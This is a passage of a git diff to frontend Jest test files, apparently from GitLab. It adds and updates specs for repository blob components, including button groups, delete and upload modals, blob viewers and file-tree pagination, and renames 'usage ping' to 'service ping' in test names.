@@ -14,6 +14,7 @@ Object {
exports[`Grouped Issues List with data renders a report item with the correct props 1`] = `
Object {
"component": "TestIssueBody",
+ "iconComponent": "IssueStatusIcon",
"isNew": false,
"issue": Object {
"name": "foo",
diff --git a/spec/frontend/reports/grouped_test_report/grouped_test_reports_app_spec.js b/spec/frontend/reports/grouped_test_report/grouped_test_reports_app_spec.js
index d29048d640c..0f7c2559e8b 100644
--- a/spec/frontend/reports/grouped_test_report/grouped_test_reports_app_spec.js
+++ b/spec/frontend/reports/grouped_test_report/grouped_test_reports_app_spec.js
@@ -114,7 +114,7 @@ describe('Grouped test reports app', () => {
setReports(newFailedTestReports);
});
- it('tracks usage ping metric when enabled', () => {
+ it('tracks service ping metric when enabled', () => {
mountComponent({ glFeatures: { usageDataITestingSummaryWidgetTotal: true } });
findExpandButton().trigger('click');
@@ -132,7 +132,7 @@ describe('Grouped test reports app', () => {
expect(Api.trackRedisHllUserEvent).toHaveBeenCalledTimes(1);
});
- it('does not track usage ping metric when disabled', () => {
+ it('does not track service ping metric when disabled', () => {
mountComponent({ glFeatures: { usageDataITestingSummaryWidgetTotal: false } });
findExpandButton().trigger('click');
diff --git a/spec/frontend/repository/components/blob_button_group_spec.js b/spec/frontend/repository/components/blob_button_group_spec.js
new file mode 100644
index 00000000000..a449fd6f06c
--- /dev/null
+++ b/spec/frontend/repository/components/blob_button_group_spec.js
@@ -0,0 +1,117 @@
+import { GlButton } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import BlobButtonGroup from '~/repository/components/blob_button_group.vue';
+import DeleteBlobModal from '~/repository/components/delete_blob_modal.vue';
+import UploadBlobModal from '~/repository/components/upload_blob_modal.vue';
+
+const DEFAULT_PROPS = {
+ name: 'some name',
+ path: 'some/path',
+ canPushCode: true,
+ replacePath: 'some/replace/path',
+ deletePath: 'some/delete/path',
+ emptyRepo: false,
+};
+
+const DEFAULT_INJECT = {
+ targetBranch: 'master',
+ originalBranch: 'master',
+};
+
+describe('BlobButtonGroup component', () => {
+ let wrapper;
+
+ const createComponent = (props = {}) => {
+ wrapper = shallowMount(BlobButtonGroup, {
+ propsData: {
+ ...DEFAULT_PROPS,
+ ...props,
+ },
+ provide: {
+ ...DEFAULT_INJECT,
+ },
+ directives: {
+ GlModal: createMockDirective(),
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findDeleteBlobModal = () => wrapper.findComponent(DeleteBlobModal);
+ const findUploadBlobModal = () => wrapper.findComponent(UploadBlobModal);
+ const findReplaceButton = () => wrapper.findAll(GlButton).at(0);
+
+ it('renders component', () => {
+ createComponent();
+
+ const { name, path } = DEFAULT_PROPS;
+
+ expect(wrapper.props()).toMatchObject({
+ name,
+ path,
+ });
+ });
+
+ describe('buttons', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders both the replace and delete button', () => {
+ expect(wrapper.findAll(GlButton)).toHaveLength(2);
+ });
+
+ it('renders the buttons in the correct order', () => {
+ expect(wrapper.findAll(GlButton).at(0).text()).toBe('Replace');
+ expect(wrapper.findAll(GlButton).at(1).text()).toBe('Delete');
+ });
+
+ it('triggers the UploadBlobModal from the replace button', () => {
+ const { value } = getBinding(findReplaceButton().element, 'gl-modal');
+ const modalId = findUploadBlobModal().props('modalId');
+
+ expect(modalId).toEqual(value);
+ });
+ });
+
+ it('renders UploadBlobModal', () => {
+ createComponent();
+
+ const { targetBranch, originalBranch } = DEFAULT_INJECT;
+ const { name, path, canPushCode, replacePath } = DEFAULT_PROPS;
+ const title = `Replace ${name}`;
+
+ expect(findUploadBlobModal().props()).toMatchObject({
+ modalTitle: title,
+ commitMessage: title,
+ targetBranch,
+ originalBranch,
+ canPushCode,
+ path,
+ replacePath,
+ primaryBtnText: 'Replace file',
+ });
+ });
+
+ it('renders DeleteBlobModel', () => {
+ createComponent();
+
+ const { targetBranch, originalBranch } = DEFAULT_INJECT;
+ const { name, canPushCode, deletePath, emptyRepo } = DEFAULT_PROPS;
+ const title = `Delete ${name}`;
+
+ expect(findDeleteBlobModal().props()).toMatchObject({
+ modalTitle: title,
+ commitMessage: title,
+ targetBranch,
+ originalBranch,
+ canPushCode,
+ deletePath,
+ emptyRepo,
+ });
+ });
+});
diff --git a/spec/frontend/repository/components/blob_content_viewer_spec.js b/spec/frontend/repository/components/blob_content_viewer_spec.js
index 495039b4ccb..a83d0a607f2 100644
--- a/spec/frontend/repository/components/blob_content_viewer_spec.js
+++ b/spec/frontend/repository/components/blob_content_viewer_spec.js
@@ -1,11 +1,23 @@
import { GlLoadingIcon } from '@gitlab/ui';
-import { shallowMount, mount } from '@vue/test-utils';
+import { shallowMount, mount, createLocalVue } from '@vue/test-utils';
+import axios from 'axios';
+import MockAdapter from 'axios-mock-adapter';
import { nextTick } from 'vue';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
import BlobContent from '~/blob/components/blob_content.vue';
import BlobHeader from '~/blob/components/blob_header.vue';
+import BlobButtonGroup from '~/repository/components/blob_button_group.vue';
import BlobContentViewer from '~/repository/components/blob_content_viewer.vue';
-import BlobHeaderEdit from '~/repository/components/blob_header_edit.vue';
-import BlobReplace from '~/repository/components/blob_replace.vue';
+import BlobEdit from '~/repository/components/blob_edit.vue';
+import { loadViewer, viewerProps } from '~/repository/components/blob_viewers';
+import DownloadViewer from '~/repository/components/blob_viewers/download_viewer.vue';
+import EmptyViewer from '~/repository/components/blob_viewers/empty_viewer.vue';
+import TextViewer from '~/repository/components/blob_viewers/text_viewer.vue';
+import blobInfoQuery from '~/repository/queries/blob_info.query.graphql';
+
+jest.mock('~/repository/components/blob_viewers');
let wrapper;
const simpleMockData = {
@@ -17,6 +29,7 @@ const simpleMockData = {
fileType: 'text',
tooLarge: false,
path: 'some_file.js',
+ webPath: 'some_file.js',
editBlobPath: 'some_file.js/edit',
ideEditPath: 'some_file.js/ide/edit',
storedExternally: false,
@@ -27,7 +40,6 @@ const simpleMockData = {
canLock: true,
isLocked: false,
lockLink: 'some_file.js/lock',
- canModifyBlob: true,
forkPath: 'some_file.js/fork',
simpleViewer: {
fileType: 'text',
@@ -47,6 +59,51 @@ const richMockData = {
},
};
+const projectMockData = {
+ userPermissions: {
+ pushCode: true,
+ },
+ repository: {
+ empty: false,
+ },
+};
+
+const localVue = createLocalVue();
+const mockAxios = new MockAdapter(axios);
+
+const createComponentWithApollo = (mockData = {}) => {
+ localVue.use(VueApollo);
+
+ const defaultPushCode = projectMockData.userPermissions.pushCode;
+ const defaultEmptyRepo = projectMockData.repository.empty;
+ const { blobs, emptyRepo = defaultEmptyRepo, canPushCode = defaultPushCode } = mockData;
+
+ const mockResolver = jest.fn().mockResolvedValue({
+ data: {
+ project: {
+ userPermissions: { pushCode: canPushCode },
+ repository: {
+ empty: emptyRepo,
+ blobs: {
+ nodes: [blobs],
+ },
+ },
+ },
+ },
+ });
+
+ const fakeApollo = createMockApollo([[blobInfoQuery, mockResolver]]);
+
+ wrapper = shallowMount(BlobContentViewer, {
+ localVue,
+ apolloProvider: fakeApollo,
+ propsData: {
+ path: 'some_file.js',
+ projectPath: 'some/path',
+ },
+ });
+};
+
const createFactory = (mountFn) => (
{ props = {}, mockData = {}, stubs = {} } = {},
loading = false,
@@ -78,9 +135,9 @@ const fullFactory = createFactory(mount);
describe('Blob content viewer component', () => {
const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
const findBlobHeader = () => wrapper.findComponent(BlobHeader);
- const findBlobHeaderEdit = () => wrapper.findComponent(BlobHeaderEdit);
+ const findBlobEdit = () => wrapper.findComponent(BlobEdit);
const findBlobContent = () => wrapper.findComponent(BlobContent);
- const findBlobReplace = () => wrapper.findComponent(BlobReplace);
+ const findBlobButtonGroup = () => wrapper.findComponent(BlobButtonGroup);
afterEach(() => {
wrapper.destroy();
@@ -163,6 +220,67 @@ describe('Blob content viewer component', () => {
});
});
+ describe('legacy viewers', () => {
+ it('does not load a legacy viewer when a rich viewer is not available', async () => {
+ createComponentWithApollo({ blobs: simpleMockData });
+ await waitForPromises();
+
+ expect(mockAxios.history.get).toHaveLength(0);
+ });
+
+ it('loads a legacy viewer when a rich viewer is available', async () => {
+ createComponentWithApollo({ blobs: richMockData });
+ await waitForPromises();
+
+ expect(mockAxios.history.get).toHaveLength(1);
+ });
+ });
+
+ describe('Blob viewer', () => {
+ afterEach(() => {
+ loadViewer.mockRestore();
+ viewerProps.mockRestore();
+ });
+
+ it('does not render a BlobContent component if a Blob viewer is available', () => {
+ loadViewer.mockReturnValueOnce(() => true);
+ factory({ mockData: { blobInfo: richMockData } });
+
+ expect(findBlobContent().exists()).toBe(false);
+ });
+
+ it.each`
+ viewer | loadViewerReturnValue | viewerPropsReturnValue
+ ${'empty'} | ${EmptyViewer} | ${{}}
+ ${'download'} | ${DownloadViewer} | ${{ filePath: '/some/file/path', fileName: 'test.js', fileSize: 100 }}
+ ${'text'} | ${TextViewer} | ${{ content: 'test', fileName: 'test.js', readOnly: true }}
+ `(
+ 'renders viewer component for $viewer files',
+ async ({ viewer, loadViewerReturnValue, viewerPropsReturnValue }) => {
+ loadViewer.mockReturnValue(loadViewerReturnValue);
+ viewerProps.mockReturnValue(viewerPropsReturnValue);
+
+ factory({
+ mockData: {
+ blobInfo: {
+ ...simpleMockData,
+ fileType: null,
+ simpleViewer: {
+ ...simpleMockData.simpleViewer,
+ fileType: viewer,
+ },
+ },
+ },
+ });
+
+ await nextTick();
+
+ expect(loadViewer).toHaveBeenCalledWith(viewer);
+ expect(wrapper.findComponent(loadViewerReturnValue).exists()).toBe(true);
+ },
+ );
+ });
+
describe('BlobHeader action slot', () => {
const { ideEditPath, editBlobPath } = simpleMockData;
@@ -177,7 +295,7 @@ describe('Blob content viewer component', () => {
await nextTick();
- expect(findBlobHeaderEdit().props()).toMatchObject({
+ expect(findBlobEdit().props()).toMatchObject({
editPath: editBlobPath,
webIdePath: ideEditPath,
});
@@ -194,31 +312,56 @@ describe('Blob content viewer component', () => {
await nextTick();
- expect(findBlobHeaderEdit().props()).toMatchObject({
+ expect(findBlobEdit().props()).toMatchObject({
editPath: editBlobPath,
webIdePath: ideEditPath,
});
});
- describe('BlobReplace', () => {
- const { name, path } = simpleMockData;
+ it('does not render BlobHeaderEdit button when viewing a binary file', async () => {
+ fullFactory({
+ mockData: { blobInfo: richMockData, isBinary: true },
+ stubs: {
+ BlobContent: true,
+ BlobReplace: true,
+ },
+ });
+
+ await nextTick();
+
+ expect(findBlobEdit().exists()).toBe(false);
+ });
+
+ describe('BlobButtonGroup', () => {
+ const { name, path, replacePath, webPath } = simpleMockData;
+ const {
+ userPermissions: { pushCode },
+ repository: { empty },
+ } = projectMockData;
it('renders component', async () => {
window.gon.current_user_id = 1;
fullFactory({
- mockData: { blobInfo: simpleMockData },
+ mockData: {
+ blobInfo: simpleMockData,
+ project: { userPermissions: { pushCode }, repository: { empty } },
+ },
stubs: {
BlobContent: true,
- BlobReplace: true,
+ BlobButtonGroup: true,
},
});
await nextTick();
- expect(findBlobReplace().props()).toMatchObject({
+ expect(findBlobButtonGroup().props()).toMatchObject({
name,
path,
+ replacePath,
+ deletePath: webPath,
+ canPushCode: pushCode,
+ emptyRepo: empty,
});
});
@@ -235,7 +378,7 @@ describe('Blob content viewer component', () => {
await nextTick();
- expect(findBlobReplace().exists()).toBe(false);
+ expect(findBlobButtonGroup().exists()).toBe(false);
});
});
});
diff --git a/spec/frontend/repository/components/blob_edit_spec.js b/spec/frontend/repository/components/blob_edit_spec.js
new file mode 100644
index 00000000000..e6e69cd8549
--- /dev/null
+++ b/spec/frontend/repository/components/blob_edit_spec.js
@@ -0,0 +1,82 @@
+import { GlButton } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import BlobEdit from '~/repository/components/blob_edit.vue';
+import WebIdeLink from '~/vue_shared/components/web_ide_link.vue';
+
+const DEFAULT_PROPS = {
+ editPath: 'some_file.js/edit',
+ webIdePath: 'some_file.js/ide/edit',
+};
+
+describe('BlobEdit component', () => {
+ let wrapper;
+
+ const createComponent = (consolidatedEditButton = false, props = {}) => {
+ wrapper = shallowMount(BlobEdit, {
+ propsData: {
+ ...DEFAULT_PROPS,
+ ...props,
+ },
+ provide: {
+ glFeatures: {
+ consolidatedEditButton,
+ },
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ const findButtons = () => wrapper.findAll(GlButton);
+ const findEditButton = () => findButtons().at(0);
+ const findWebIdeButton = () => findButtons().at(1);
+ const findWebIdeLink = () => wrapper.find(WebIdeLink);
+
+ it('renders component', () => {
+ createComponent();
+
+ const { editPath, webIdePath } = DEFAULT_PROPS;
+
+ expect(wrapper.props()).toMatchObject({
+ editPath,
+ webIdePath,
+ });
+ });
+
+ it('renders both buttons', () => {
+ createComponent();
+
+ expect(findButtons()).toHaveLength(2);
+ });
+
+ it('renders the Edit button', () => {
+ createComponent();
+
+ expect(findEditButton().attributes('href')).toBe(DEFAULT_PROPS.editPath);
+ expect(findEditButton().text()).toBe('Edit');
+ expect(findEditButton()).not.toBeDisabled();
+ });
+
+ it('renders the Web IDE button', () => {
+ createComponent();
+
+ expect(findWebIdeButton().attributes('href')).toBe(DEFAULT_PROPS.webIdePath);
+ expect(findWebIdeButton().text()).toBe('Web IDE');
+ expect(findWebIdeButton()).not.toBeDisabled();
+ });
+
+ it('renders WebIdeLink component', () => {
+ createComponent(true);
+
+ const { editPath: editUrl, webIdePath: webIdeUrl } = DEFAULT_PROPS;
+
+ expect(findWebIdeLink().props()).toMatchObject({
+ editUrl,
+ webIdeUrl,
+ isBlob: true,
+ });
+ });
+});
diff --git a/spec/frontend/repository/components/blob_header_edit_spec.js b/spec/frontend/repository/components/blob_header_edit_spec.js
deleted file mode 100644
index c0eb7c523c4..00000000000
--- a/spec/frontend/repository/components/blob_header_edit_spec.js
+++ /dev/null
@@ -1,82 +0,0 @@
-import { GlButton } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import BlobHeaderEdit from '~/repository/components/blob_header_edit.vue';
-import WebIdeLink from '~/vue_shared/components/web_ide_link.vue';
-
-const DEFAULT_PROPS = {
- editPath: 'some_file.js/edit',
- webIdePath: 'some_file.js/ide/edit',
-};
-
-describe('BlobHeaderEdit component', () => {
- let wrapper;
-
- const createComponent = (consolidatedEditButton = false, props = {}) => {
- wrapper = shallowMount(BlobHeaderEdit, {
- propsData: {
- ...DEFAULT_PROPS,
- ...props,
- },
- provide: {
- glFeatures: {
- consolidatedEditButton,
- },
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- const findButtons = () => wrapper.findAll(GlButton);
- const findEditButton = () => findButtons().at(0);
- const findWebIdeButton = () => findButtons().at(1);
- const findWebIdeLink = () => wrapper.find(WebIdeLink);
-
- it('renders component', () => {
- createComponent();
-
- const { editPath, webIdePath } = DEFAULT_PROPS;
-
- expect(wrapper.props()).toMatchObject({
- editPath,
- webIdePath,
- });
- });
-
- it('renders both buttons', () => {
- createComponent();
-
- expect(findButtons()).toHaveLength(2);
- });
-
- it('renders the Edit button', () => {
- createComponent();
-
- expect(findEditButton().attributes('href')).toBe(DEFAULT_PROPS.editPath);
- expect(findEditButton().text()).toBe('Edit');
- expect(findEditButton()).not.toBeDisabled();
- });
-
- it('renders the Web IDE button', () => {
- createComponent();
-
- expect(findWebIdeButton().attributes('href')).toBe(DEFAULT_PROPS.webIdePath);
- expect(findWebIdeButton().text()).toBe('Web IDE');
- expect(findWebIdeButton()).not.toBeDisabled();
- });
-
- it('renders WebIdeLink component', () => {
- createComponent(true);
-
- const { editPath: editUrl, webIdePath: webIdeUrl } = DEFAULT_PROPS;
-
- expect(findWebIdeLink().props()).toMatchObject({
- editUrl,
- webIdeUrl,
- isBlob: true,
- });
- });
-});
diff --git a/spec/frontend/repository/components/blob_replace_spec.js b/spec/frontend/repository/components/blob_replace_spec.js
deleted file mode 100644
index 4a6f147da22..00000000000
--- a/spec/frontend/repository/components/blob_replace_spec.js
+++ /dev/null
@@ -1,67 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import BlobReplace from '~/repository/components/blob_replace.vue';
-import UploadBlobModal from '~/repository/components/upload_blob_modal.vue';
-
-const DEFAULT_PROPS = {
- name: 'some name',
- path: 'some/path',
- canPushCode: true,
- replacePath: 'some/replace/path',
-};
-
-const DEFAULT_INJECT = {
- targetBranch: 'master',
- originalBranch: 'master',
-};
-
-describe('BlobReplace component', () => {
- let wrapper;
-
- const createComponent = (props = {}) => {
- wrapper = shallowMount(BlobReplace, {
- propsData: {
- ...DEFAULT_PROPS,
- ...props,
- },
- provide: {
- ...DEFAULT_INJECT,
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- const findUploadBlobModal = () => wrapper.findComponent(UploadBlobModal);
-
- it('renders component', () => {
- createComponent();
-
- const { name, path } = DEFAULT_PROPS;
-
- expect(wrapper.props()).toMatchObject({
- name,
- path,
- });
- });
-
- it('renders UploadBlobModal', () => {
- createComponent();
-
- const { targetBranch, originalBranch } = DEFAULT_INJECT;
- const { name, path, canPushCode, replacePath } = DEFAULT_PROPS;
- const title = `Replace ${name}`;
-
- expect(findUploadBlobModal().props()).toMatchObject({
- modalTitle: title,
- commitMessage: title,
- targetBranch,
- originalBranch,
- canPushCode,
- path,
- replacePath,
- primaryBtnText: 'Replace file',
- });
- });
-});
diff --git a/spec/frontend/repository/components/blob_viewers/__snapshots__/empty_viewer_spec.js.snap b/spec/frontend/repository/components/blob_viewers/__snapshots__/empty_viewer_spec.js.snap
new file mode 100644
index 00000000000..e702ea5fd00
--- /dev/null
+++ b/spec/frontend/repository/components/blob_viewers/__snapshots__/empty_viewer_spec.js.snap
@@ -0,0 +1,9 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`Empty Viewer matches the snapshot 1`] = `
+<div
+ class="nothing-here-block"
+>
+ Empty file
+</div>
+`;
diff --git a/spec/frontend/repository/components/blob_viewers/download_viewer_spec.js b/spec/frontend/repository/components/blob_viewers/download_viewer_spec.js
new file mode 100644
index 00000000000..c71b2b3c55c
--- /dev/null
+++ b/spec/frontend/repository/components/blob_viewers/download_viewer_spec.js
@@ -0,0 +1,70 @@
+import { GlLink, GlIcon } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { numberToHumanSize } from '~/lib/utils/number_utils';
+import DownloadViewer from '~/repository/components/blob_viewers/download_viewer.vue';
+
+describe('Text Viewer', () => {
+ let wrapper;
+
+ const DEFAULT_PROPS = {
+ fileName: 'file_name.js',
+ filePath: '/some/file/path',
+ fileSize: 2269674,
+ };
+
+ const createComponent = (props = {}) => {
+ wrapper = shallowMount(DownloadViewer, {
+ propsData: {
+ ...DEFAULT_PROPS,
+ ...props,
+ },
+ });
+ };
+
+ it('renders component', () => {
+ createComponent();
+
+ const { fileName, filePath, fileSize } = DEFAULT_PROPS;
+ expect(wrapper.props()).toMatchObject({
+ fileName,
+ filePath,
+ fileSize,
+ });
+ });
+
+ it('renders download human readable file size text', () => {
+ createComponent();
+
+ const downloadText = `Download (${numberToHumanSize(DEFAULT_PROPS.fileSize)})`;
+ expect(wrapper.text()).toBe(downloadText);
+ });
+
+ it('renders download text', () => {
+ createComponent({
+ fileSize: 0,
+ });
+
+ expect(wrapper.text()).toBe('Download');
+ });
+
+ it('renders download link', () => {
+ createComponent();
+ const { filePath, fileName } = DEFAULT_PROPS;
+
+ expect(wrapper.findComponent(GlLink).attributes()).toMatchObject({
+ rel: 'nofollow',
+ target: '_blank',
+ href: filePath,
+ download: fileName,
+ });
+ });
+
+ it('renders download icon', () => {
+ createComponent();
+
+ expect(wrapper.findComponent(GlIcon).props()).toMatchObject({
+ name: 'download',
+ size: 16,
+ });
+ });
+});
diff --git a/spec/frontend/repository/components/blob_viewers/empty_viewer_spec.js b/spec/frontend/repository/components/blob_viewers/empty_viewer_spec.js
new file mode 100644
index 00000000000..e65f20ea0af
--- /dev/null
+++ b/spec/frontend/repository/components/blob_viewers/empty_viewer_spec.js
@@ -0,0 +1,14 @@
+import { shallowMount } from '@vue/test-utils';
+import EmptyViewer from '~/repository/components/blob_viewers/empty_viewer.vue';
+
+describe('Empty Viewer', () => {
+ let wrapper;
+
+ beforeEach(() => {
+ wrapper = shallowMount(EmptyViewer);
+ });
+
+ it('matches the snapshot', () => {
+ expect(wrapper.element).toMatchSnapshot();
+ });
+});
diff --git a/spec/frontend/repository/components/blob_viewers/text_viewer_spec.js b/spec/frontend/repository/components/blob_viewers/text_viewer_spec.js
new file mode 100644
index 00000000000..88c5bee6564
--- /dev/null
+++ b/spec/frontend/repository/components/blob_viewers/text_viewer_spec.js
@@ -0,0 +1,30 @@
+import { shallowMount } from '@vue/test-utils';
+import waitForPromises from 'helpers/wait_for_promises';
+import TextViewer from '~/repository/components/blob_viewers/text_viewer.vue';
+import SourceEditor from '~/vue_shared/components/source_editor.vue';
+
+describe('Text Viewer', () => {
+ let wrapper;
+ const propsData = {
+ content: 'Some content',
+ fileName: 'file_name.js',
+ readOnly: true,
+ };
+
+ const createComponent = () => {
+ wrapper = shallowMount(TextViewer, { propsData });
+ };
+
+ const findEditor = () => wrapper.findComponent(SourceEditor);
+
+ it('renders a Source Editor component', async () => {
+ createComponent();
+
+ await waitForPromises();
+
+ expect(findEditor().exists()).toBe(true);
+ expect(findEditor().props('value')).toBe(propsData.content);
+ expect(findEditor().props('fileName')).toBe(propsData.fileName);
+ expect(findEditor().props('editorOptions')).toEqual({ readOnly: propsData.readOnly });
+ });
+});
diff --git a/spec/frontend/repository/components/delete_blob_modal_spec.js b/spec/frontend/repository/components/delete_blob_modal_spec.js
new file mode 100644
index 00000000000..a74e3e6d325
--- /dev/null
+++ b/spec/frontend/repository/components/delete_blob_modal_spec.js
@@ -0,0 +1,130 @@
+import { GlFormTextarea, GlModal, GlFormInput, GlToggle } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { nextTick } from 'vue';
+import DeleteBlobModal from '~/repository/components/delete_blob_modal.vue';
+
+jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
+
+const initialProps = {
+ modalId: 'Delete-blob',
+ modalTitle: 'Delete File',
+ deletePath: 'some/path',
+ commitMessage: 'Delete File',
+ targetBranch: 'some-target-branch',
+ originalBranch: 'main',
+ canPushCode: true,
+ emptyRepo: false,
+};
+
+describe('DeleteBlobModal', () => {
+ let wrapper;
+
+ const createComponent = (props = {}) => {
+ wrapper = shallowMount(DeleteBlobModal, {
+ propsData: {
+ ...initialProps,
+ ...props,
+ },
+ });
+ };
+
+ const findModal = () => wrapper.findComponent(GlModal);
+ const findForm = () => wrapper.findComponent({ ref: 'form' });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders Modal component', () => {
+ createComponent();
+
+ const { modalTitle: title } = initialProps;
+
+ expect(findModal().props()).toMatchObject({
+ title,
+ size: 'md',
+ actionPrimary: {
+ text: 'Delete file',
+ },
+ actionCancel: {
+ text: 'Cancel',
+ },
+ });
+ });
+
+ describe('form', () => {
+ it('gets passed the path for action attribute', () => {
+ createComponent();
+ expect(findForm().attributes('action')).toBe(initialProps.deletePath);
+ });
+
+ it('submits the form', async () => {
+ createComponent();
+
+ const submitSpy = jest.spyOn(findForm().element, 'submit');
+ findModal().vm.$emit('primary', { preventDefault: () => {} });
+ await nextTick();
+
+ expect(submitSpy).toHaveBeenCalled();
+ submitSpy.mockRestore();
+ });
+
+ it.each`
+ component | defaultValue | canPushCode | targetBranch | originalBranch | exist
+ ${GlFormTextarea} | ${initialProps.commitMessage} | ${true} | ${initialProps.targetBranch} | ${initialProps.originalBranch} | ${true}
+ ${GlFormInput} | ${initialProps.targetBranch} | ${true} | ${initialProps.targetBranch} | ${initialProps.originalBranch} | ${true}
+ ${GlFormInput} | ${undefined} | ${false} | ${initialProps.targetBranch} | ${initialProps.originalBranch} | ${false}
+ ${GlToggle} | ${'true'} | ${true} | ${initialProps.targetBranch} | ${initialProps.originalBranch} | ${true}
+ ${GlToggle} | ${undefined} | ${true} | ${'same-branch'} | ${'same-branch'} | ${false}
+ `(
+ 'has the correct form fields ',
+ ({ component, defaultValue, canPushCode, targetBranch, originalBranch, exist }) => {
+ createComponent({
+ canPushCode,
+ targetBranch,
+ originalBranch,
+ });
+ const formField = wrapper.findComponent(component);
+
+ if (!exist) {
+ expect(formField.exists()).toBe(false);
+ return;
+ }
+
+ expect(formField.exists()).toBe(true);
+ expect(formField.attributes('value')).toBe(defaultValue);
+ },
+ );
+
+ it.each`
+ input | value | emptyRepo | canPushCode | exist
+ ${'authenticity_token'} | ${'mock-csrf-token'} | ${false} | ${true} | ${true}
+ ${'authenticity_token'} | ${'mock-csrf-token'} | ${true} | ${false} | ${true}
+ ${'_method'} | ${'delete'} | ${false} | ${true} | ${true}
+ ${'_method'} | ${'delete'} | ${true} | ${false} | ${true}
+ ${'original_branch'} | ${initialProps.originalBranch} | ${false} | ${true} | ${true}
+ ${'original_branch'} | ${undefined} | ${true} | ${true} | ${false}
+ ${'create_merge_request'} | ${'1'} | ${false} | ${false} | ${true}
+ ${'create_merge_request'} | ${'1'} | ${false} | ${true} | ${true}
+ ${'create_merge_request'} | ${undefined} | ${true} | ${false} | ${false}
+ `(
+ 'passes $input as a hidden input with the correct value',
+ ({ input, value, emptyRepo, canPushCode, exist }) => {
+ createComponent({
+ emptyRepo,
+ canPushCode,
+ });
+
+ const inputMethod = findForm().find(`input[name="${input}"]`);
+
+ if (!exist) {
+ expect(inputMethod.exists()).toBe(false);
+ return;
+ }
+
+ expect(inputMethod.attributes('type')).toBe('hidden');
+ expect(inputMethod.attributes('value')).toBe(value);
+ },
+ );
+ });
+});
diff --git a/spec/frontend/repository/components/table/__snapshots__/row_spec.js.snap b/spec/frontend/repository/components/table/__snapshots__/row_spec.js.snap
index ac60fc4917d..6f461f4c69b 100644
--- a/spec/frontend/repository/components/table/__snapshots__/row_spec.js.snap
+++ b/spec/frontend/repository/components/table/__snapshots__/row_spec.js.snap
@@ -11,6 +11,7 @@ exports[`Repository table row component renders a symlink table row 1`] = `
class="tree-item-link str-truncated"
data-qa-selector="file_name_link"
href="https://test.com"
+ title="test"
>
<file-icon-stub
class="mr-1 position-relative text-secondary"
@@ -64,6 +65,7 @@ exports[`Repository table row component renders table row 1`] = `
class="tree-item-link str-truncated"
data-qa-selector="file_name_link"
href="https://test.com"
+ title="test"
>
<file-icon-stub
class="mr-1 position-relative text-secondary"
@@ -117,6 +119,7 @@ exports[`Repository table row component renders table row for path with special
class="tree-item-link str-truncated"
data-qa-selector="file_name_link"
href="https://test.com"
+ title="test"
>
<file-icon-stub
class="mr-1 position-relative text-secondary"
diff --git a/spec/frontend/repository/components/tree_content_spec.js b/spec/frontend/repository/components/tree_content_spec.js
index d397bc185e2..1d1ec58100f 100644
--- a/spec/frontend/repository/components/tree_content_spec.js
+++ b/spec/frontend/repository/components/tree_content_spec.js
@@ -1,8 +1,8 @@
import { shallowMount } from '@vue/test-utils';
+import filesQuery from 'shared_queries/repository/files.query.graphql';
import FilePreview from '~/repository/components/preview/index.vue';
import FileTable from '~/repository/components/table/index.vue';
import TreeContent from '~/repository/components/tree_content.vue';
-import { TREE_INITIAL_FETCH_COUNT } from '~/repository/constants';
let vm;
let $apollo;
@@ -19,10 +19,17 @@ function factory(path, data = () => ({})) {
mocks: {
$apollo,
},
+ provide: {
+ glFeatures: {
+ increasePageSizeExponentially: true,
+ },
+ },
});
}
describe('Repository table component', () => {
+ const findFileTable = () => vm.find(FileTable);
+
afterEach(() => {
vm.destroy();
});
@@ -85,14 +92,12 @@ describe('Repository table component', () => {
describe('FileTable showMore', () => {
describe('when is present', () => {
- const fileTable = () => vm.find(FileTable);
-
beforeEach(async () => {
factory('/');
});
it('is changes hasShowMore to false when "showMore" event is emitted', async () => {
- fileTable().vm.$emit('showMore');
+ findFileTable().vm.$emit('showMore');
await vm.vm.$nextTick();
@@ -100,7 +105,7 @@ describe('Repository table component', () => {
});
it('changes clickedShowMore when "showMore" event is emitted', async () => {
- fileTable().vm.$emit('showMore');
+ findFileTable().vm.$emit('showMore');
await vm.vm.$nextTick();
@@ -110,7 +115,7 @@ describe('Repository table component', () => {
it('triggers fetchFiles when "showMore" event is emitted', () => {
jest.spyOn(vm.vm, 'fetchFiles');
- fileTable().vm.$emit('showMore');
+ findFileTable().vm.$emit('showMore');
expect(vm.vm.fetchFiles).toHaveBeenCalled();
});
@@ -126,10 +131,52 @@ describe('Repository table component', () => {
expect(vm.vm.hasShowMore).toBe(false);
});
- it('has limit of 1000 files on initial load', () => {
+ it.each`
+ totalBlobs | pagesLoaded | limitReached
+ ${900} | ${1} | ${false}
+ ${1000} | ${1} | ${true}
+ ${1002} | ${1} | ${true}
+ ${1002} | ${2} | ${false}
+ ${1900} | ${2} | ${false}
+ ${2000} | ${2} | ${true}
+ `('has limit of 1000 entries per page', async ({ totalBlobs, pagesLoaded, limitReached }) => {
factory('/');
- expect(TREE_INITIAL_FETCH_COUNT * vm.vm.pageSize).toBe(1000);
+ const blobs = new Array(totalBlobs).fill('fakeBlob');
+ vm.setData({ entries: { blobs }, pagesLoaded });
+
+ await vm.vm.$nextTick();
+
+ expect(findFileTable().props('hasMore')).toBe(limitReached);
+ });
+
+ it.each`
+ fetchCounter | pageSize
+ ${0} | ${10}
+ ${2} | ${30}
+ ${4} | ${50}
+ ${6} | ${70}
+ ${8} | ${90}
+ ${10} | ${100}
+ ${20} | ${100}
